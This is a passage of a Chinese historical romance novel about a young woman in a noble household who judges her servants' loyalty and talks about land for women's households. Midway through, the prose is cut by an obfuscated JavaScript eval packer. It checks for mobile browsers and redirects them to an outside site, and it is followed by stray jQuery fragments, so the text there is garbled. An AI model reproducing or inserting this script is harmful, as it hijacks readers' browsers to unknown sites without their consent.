“许久没见姐姐这么松快的样子了。”
许玟素眼弯弯,也替黎姣姣开心起来,她雀跃道:“黄娘子允了口信,说是立户一事板上钉钉,跑不了的,这段日子你不如先去圈地,瞧上哪块,先叫留着。”
黎姣姣摇头轻声:“田地于我意义不大,对流民们可不一样,剩下的地随便选一处就好。”
“你呀你呀,就是心善。”
逢面匆匆言语,两人别过,许玟素提起裙摆跑远,着急请安去。
“还好咱们去得早,免得像许姑娘这样着急忙慌。”
闻言,黎姣姣暗自好笑,春苗这番话说得太单纯,本是新妇入门头一日,她们一家人认亲请安,而她一个外人本不该掺合。
也没费口舌点明这点,黎姣姣安排春苗去寻马红翠来见她,“你和她说,花小子我也得见一面,让两人一块来。”
春苗回了个是,左拐朝着角门出府,黎姣姣独自优哉游哉往听绿园走。
过抄手回廊,见晨光和煦照得庭园流水波光粼粼,暖冬哄得野花早早绽放,三折板桥曲折延至隔岸花亭,行至目光处,黎姣姣这才发现亭里坐了人。
于盛奕还是一身月白色长袍,鱼饰玉冠,发却没扎齐整,他瘦,亭柱将他遮个严实,慵懒地靠着栏杆,目光放向水面。
步子不算轻,一路踢着碎石子,这般响动也没惹来长公子一个回头,想来他心情算不上美妙,黎姣姣行半礼,简单问好,没待他回话,正欲离去。
男人开口:“请完安了?”
她答是,并未再多话。
“坐。”
黎姣姣一愣,现下并无旁人,是叫她坐?和男人一块赏景、谈心,算不上难事,可若换成于盛奕就困难了。
他多说一个字就喘得不行,见黎姣姣没动静,扭过脸来又催了一道,几声咳嗽让黎姣姣麻利坐到栏边,可不敢让他再催,冷气过肺只怕咳得更厉害。
“虽有些阳光,可毕竟是冬日里,大少爷也应让人伺候着,多添些暖。”
短促的一声笑,没听清是何情绪,于盛奕低睫微动,与眼下的绯红暧昧触碰,他一咳就引得面色潮红,从目到唇。
玉郎好颜色,黎姣姣没见过这般男子。
“可怜啊。”
一句三喘,于盛奕将头转过来,黎姣姣与他视线相对,又听他补完话句:“我。”
“您何必自怜,过往之事不可追,如今成了家,身子也见好,无论是家事、国事,均是一番新景象,您的前程大着呢。”
于盛奕又发出一声笑,并不接话,依旧盯着流水。
光秃秃的水面,即没有落花流水的画意,也没有清波荡漾的诗情,偶有涟漪,但更长时间是平静,近乎平淡的平静,黎姣姣回过神来,发觉自己竟也沉迷到这片平静之中。
起风,和煦日光携来的些许暖意穿过流水变得幽冷,黎姣姣感到手有些发凉,她蜷缩手掌不动声色地摩掌取热。
风越发急,天也隐约暗了些,远远隔着桥有男声喊:“大少爷!”
冷风引出小厮们抱着披风四处寻人。
见于盛奕依旧迎风赏景,黎姣姣叹气,暗自翻白眼,这人嘴都冻得发紫。
“我没有大少爷这般雅兴,就先请辞。”
说完自顾自快步离开,她算清楚玉郎君是个什么性子,风骨能拿做拌饭吃的人。
回到院里,见几个小厮如无头苍蝇一般乱寻人,黎姣姣手指道:“他在亭中,你们悄悄去,拿一件厚斗篷给他披上,完了再轻轻回来。”
“他兴致不错,别拿俗事扰了他。”
几个小厮就差跪下谢她,黎姣姣摆手制止,又开口:“动作轻些,也不用说是我差你们去做的,你们家这位啊,是个琉璃人物,费不着知晓这些。”
回到厢房,春苗早早拉下帘来隔绝掉发冻的北风。
“姑娘回来了,这风起得好急,估摸着又要冷起来了。”
春苗一听见动静,立马抱上件兔儿袄替主子披上,她搓热手帮主子暖脸和手,又端上一杯热茶,嘀咕抱怨起天气。
捧着茶碗,暖意传递四肢,黎姣姣语气带上惫懒:“就得痛快冷一场才好,待立春慢慢暖和起来才是好时节。”
她又问:“马大婆呢?”
正提起她,门帘被掀开一侧,话语先传来:“好怪的天气,竟然开始落雨雪了。”
马红翠顶着湿润的发走进来,跟在她身后的是个瘦弱的少年样子。
见黎姣姣瘫坐在贵妃榻上,她扯出身后的人对他道:“这就是我们姑娘,你以后的东家,最是个心善的人,快,给姑娘见礼!”
少年显然很少拘礼,抱拳合掌互乱动作,活像个拙劣仿照大人的稚童。
“这就是花小子?比我想的还要单薄些。”
黎姣姣笑意盈盈,说出的话却让花小子胆寒,“连我都看得出是个丫头模样,怎么敢当个男孩养?”
花小子闻言双膝一软,噗通跪倒在地,背上的包袱顺着脊背砸到后脑勺,她一下一下拿额头磕出沉闷的咚咚声。
屋外想来风更烈,呼呼地作响,黎姣姣侧耳听了几息,对春苗道:“这下更好了,瑞雪兆丰年呢。”
春苗笑着说是,朝马红翠递上个眼神,马红翠微微点头,一把拎起地上的瘦猴架子,扳起她的头仰着朝向主子。
“都说了我们姑娘那就是个菩萨性子,你放松些,不过玩笑几句,瞧你吓得。”马红翠皱眉对花小子训斥道,“拿出你的伶俐样子来给姑娘瞧瞧。”
黎姣姣瞧着也心疼:“哎哟,额头都发青了,不晓得你母亲见了得多心痛。”
“不,不疼,姑娘这处连地都是香软的。”
花小子站定,从背包里取出两本厚锦衣册,她翻开里页,白棉纸上用细丝线规矩地缝满方寸布料,颜色由深至浅整齐排列。
“东市那栋小楼,听闻姑娘有意做成衣铺子,小人便理了一份鄂州各铺面料、花样图册。”花小子手腕细细一截,需得双手才能稳稳托住图册,“小人想着,这册子若能帮上姑娘一点,也是小人几辈子的福气。”
“鄂州风俗却与京都大不同,我是晕了头才敢大言不惭要建一铺成衣店,原料难得,染色、纺织、刺绣,细细一想全都费功夫,冷静下来觉得并不是个好主意。”
黎姣姣起身拿起那本图册,着实重,单手拿起险些脱手,春苗箭步上来替她端着册子,她顺手翻开,页页做得精细,布料、制式、图样,或是实物、或是手绘,黎姣姣不由得称赞:“做得这样好。”
“可惜你的心血了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349356|199584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她话音刚落,两声急切的话语重叠。
花小子竟然抢过马红翠的调子,急急问:“可店内装修过大半,难不成要舍了?”
“总要舍一些,才不会叫人拿捏住,你说是不是这个道理,马大婆?”
马红翠脸色一变,咬牙,重重出脚踢翻花小子,她啐道:“显着你来教主子做事!”
她转向黎姣姣,气焰低下来:“奴既得了姑娘的吩咐办事,自然要替姑娘想得万全些。”
“你若事事想到了,我反倒觉得自个蠢笨,好婆子,只求你少想一点,也让我试试动动脑子呢?”
“奴明了。”马红翠回声。
“带着花小子下去吧,天冷了,拿吊钱给他添件衣。”
待两人弯腰后撤离开屋内,春苗嘟起嘴来忿忿道:“马婆子也学到欺上这套,教来一个混小子。”
“连你都看出来了?”黎姣姣故作惊讶。
“姑娘!”
受不了春苗两个字转三个音,她乐呵地打断傻丫头的撒娇。
“马大婆本就算不得忠心,现下需得用她,只能轻微敲打一番,那孩子装出一副害怕被我看穿的样子,分明是张狡猾的脸。
额头磕得响也没破点皮,准备功夫做得深可见是个圆滑性子,进屋来短短几句话,言语对不上动作,野心藏得浅薄,这种人……”
黎姣姣给自己说得沉默,她竟觉得这小子脾性与她挺相似。
“明明是个女娃却要装男人,瘦得个尖嘴猴腮样,行事也轻浮。”
春苗是个爱之欲其生、恶之欲其死的性子,诚然她并无自己的爱恨,是爱主子所爱、恶主子所恶,见马红翠伙同外人来蒙黎姑娘,她心里冒起火。
三更过,湿漉漉的路面冷得足够存起积雪,细细的雪一粒一粒被风卷裹打着旋转起来,待雪粒结合成雪片,才压过风落到地上。
只可惜,雪片层层并不紧实,人踩两步就散了、化了,脏污一片被划成南来北往的印迹。
一天明,雪啊、泥污啊、步痕啊全都消散,这日是个晴朗天气,昨日的劲风、细雪恍如幻觉一般。
“好怪的天气!”
许玟素一见到黎姣姣就向她抱怨。
黎姣姣搭腔:“是呢,昨日还以为能积起雪来。”
“是啊,是啊。”
得到懒洋洋的一句搭话,黎姣姣没好气道:“说吧,又怎么了,这幅样子是谁又触你霉头了?”
得到黎姣姣关心,许玟素更觉心烦,横躺着翻滚,爬起来发鬓乱得不成样子,蕊儿替她重新梳发,手轻手重的刺得许玟素不耐烦,她推开蕊儿干脆一头乱发扎进黎姣姣怀里。
“春苗呢?没听她唠叨?”
“昨夜里受了寒,让她修养着呢。”
“好吧。”
许玟素不再说话,又开始长吁短叹起来。
“行了,我可不像蕊儿一样惯着你,再不说,我也懒得多问。”
“唉,这事也小,说出来你肯定……”
许玟素顿了顿,黎姣姣拿手点她额头,怀疑道:“肯定?莫不是老太君又派了什么事给你?”
“正是了!”许玟素长叹,“与你也有关,事关城郊女户置田,本是件简单事,可现在太后面前的那个女官也掺合进来了!”